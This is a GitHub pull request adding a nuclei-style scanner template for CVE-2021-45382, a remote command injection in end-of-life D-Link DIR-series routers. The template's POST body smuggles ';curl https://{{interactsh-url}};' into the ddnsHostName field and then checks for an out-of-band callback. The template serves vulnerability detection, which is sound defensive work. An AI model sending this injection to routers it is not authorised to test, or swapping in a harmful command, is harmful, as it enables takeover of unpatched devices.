Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

CVE-2021-45382 #8382

Merged
Merged
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
48 changes: 48 additions & 0 deletions http/cves/2021/CVE-2021-45382.yaml
Original file line number Diff line number Diff line change
@@ -0,0 +1,48 @@
id: CVE-2021-45382

info:
name: D-Link - Remote Command Execution
author: king-alexander
severity: critical
description: |
A Remote Command Execution (RCE) vulnerability exists in all series H/W revisions D-link DIR-810L, DIR-820L/LW, DIR-826L, DIR-830L, and DIR-836L routers via the DDNS function in ncc2 binary file
remediation: |
DIR-810L, DIR-820L, DIR-830L, DIR-826L, DIR-836L, all hardware revisions, have reached their End of Life ("EOL") /End of Service Life ("EOS") Life-Cycle and as such this issue will not be patched.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2021-45382
- https://supportannouncement.us.dlink.com/announcement/publication.aspx?name=SAP10264
- https://github.com/doudoudedi/D-LINK_Command_Injection1/blob/main/D-LINK_Command_injection.md#poc
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cwe-id: CWE-78
epss-score: 0.94604
epss-percentile: 0.99036
cpe: cpe:2.3:o:dlink:dir-820l_firmware:-:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: dlink
product: dir-820l_firmware
tags: cve,cve2021,dlink,kev,rce

variables:
string1: "{{to_lower(rand_base(5))}}"
string2: "{{to_lower(rand_base(6))}}"

http:
- method: POST
path:
- "{{BaseURL}}/ddns_check.ccp"
body: "ccp_act=doCheck&ddnsHostName=;curl https://{{interactsh-url}};&ddnsUsername={{string1}}&ddnsPassword={{string2}}"

matchers-condition: and
matchers:
- type: word
part: interactsh_protocol
words:
- http

- type: word
part: interactsh_request
words:
- "User-Agent: curl"
Loading